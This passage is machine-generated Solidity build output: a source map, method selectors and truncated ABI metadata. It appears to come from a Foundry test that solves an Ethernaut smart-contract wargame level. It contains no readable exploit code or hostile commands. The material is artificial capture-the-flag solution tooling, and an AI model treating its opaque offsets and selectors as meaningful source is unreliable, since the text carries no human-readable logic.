;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3463:41:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3360:151;:::o;3221:133::-;3267:33;3331:16;3312:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3312:35:5;;;;;;;;;;;;;;;;;;;;;;3221:133;:::o;2922:141::-;2970:35;3038:18;3017:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3017:39:5;;;;;;;;;;;;;;;;;;;;;;2922:141;:::o;2738:178::-;2794:48;2883:26;2854:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2854:55:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;740:370:154;794:24;830:30;885:7;863:30;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;863:30:154;;830:63;;908:9;903:178;927:7;923:1;:11;903:178;;;955:20;978:4;-1:-1:-1;;;;;978:23:154;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1017:24;;;;;-1:-1:-1;;;;;18347:55:155;;1017:24:154;;;18329:74:155;1031:9:154;18419:18:155;;;18412:34;955:48:154;;-1:-1:-1;1017:7:154;;;;18302:18:155;;1017:24:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1066:4;1055:5;1061:1;1055:8;;;;;;;;:::i;:::-;-1:-1:-1;;;;;1055:15:154;;;:8;;;;;;;;;;;:15;-1:-1:-1;936:3:154;;903:178;;;-1:-1:-1;1098:5:154;740:370;-1:-1:-1;;740:370:154:o;1822:286:135:-;1874:6;;1860:21;;-1:-1:-1;;;1860:21:135;;-1:-1:-1;;;;;1874:6:135;;;1860:21;;;847:74:155;1860:13:135;;;;820:18:155;;1860:21:135;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1892:8;;;;;;;;;-1:-1:-1;;;;;1892:8:135;-1:-1:-1;;;;;1892:24:135;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;1992:8:135;;1960:42;;1929:28;;-1:-1:-1;;;;;1992:8:135;;1960:42;;;:::i;:::-;-1:-1:-1;;;;;865:55:155;;;847:74;;835:2;820:18;1960:42:135;;;;;;;;;;;;;;;;;;;;;;;1929:73;;2012:8;-1:-1:-1;;;;;2012:15:135;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2071:9:135;;2090:8;;2040:61;;-1:-1:-1;2051:49:135;;-1:-1:-1;;;;;;2071:9:135;;;;2090:8;2051:19;:49::i;:::-;2040:10;:61::i;:::-;1850:258;1822:286::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;19020:15:155;;;19002:34;;19072:15;;;19067:2;19052:18;;19045:43;19124:15;;;19119:2;19104:18;;19097:43;18929:2;18914:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1630:137:135;1681:6;;1667:21;;-1:-1:-1;;;1667:21:135;;-1:-1:-1;;;;;1681:6:135;;;1667:21;;;847:74:155;1667:13:135;;;;820:18:155;;1667:21:135;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1730:9:135;;1749:8;;1698:62;;-1:-1:-1;1710:49:135;;-1:-1:-1;;;;;;1730:9:135;;;;1749:8;1710:19;:49::i;:::-;1698:11;:62::i;:::-;1630:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;;;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20105:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20078:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;18457:277::-;18524:6;18577:2;18565:9;18556:7;18552:23;18548:32;18545:52;;;18593:1;18590;18583:12;18545:52;18625:9;18619:16;18678:5;18671:13;18664:21;18657:5;18654:32;18644:60;;18700:1;18697;18690:12;19640:184;19710:6;19763:2;19751:9;19742:7;19738:23;19734:32;19731:52;;;19779:1;19776;19769:12;19731:52;-1:-1:-1;19802:16:155;;19640:184;-1:-1:-1;19640:184:155:o;19829:125::-;19894:9;;;19915:10;;;19912:36;;;19928:18;;:::i;20141:383::-;20338:2;20327:9;20320:21;20301:4;20364:45;20405:2;20394:9;20390:18;20382:6;20364:45;:::i;:::-;20457:9;20449:6;20445:22;20440:2;20429:9;20425:18;20418:50;20485:33;20511:6;20503;20485:33;:::i;:::-;20477:41;20141:383;-1:-1:-1;;;;;20141:383:155:o;20529:335::-;20608:6;20661:2;20649:9;20640:7;20636:23;20632:32;20629:52;;;20677:1;20674;20667:12;20629:52;20710:9;20704:16;20743:18;20735:6;20732:30;20729:50;;;20775:1;20772;20765:12;20729:50;20798:60;20850:7;20841:6;20830:9;20826:22;20798:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address 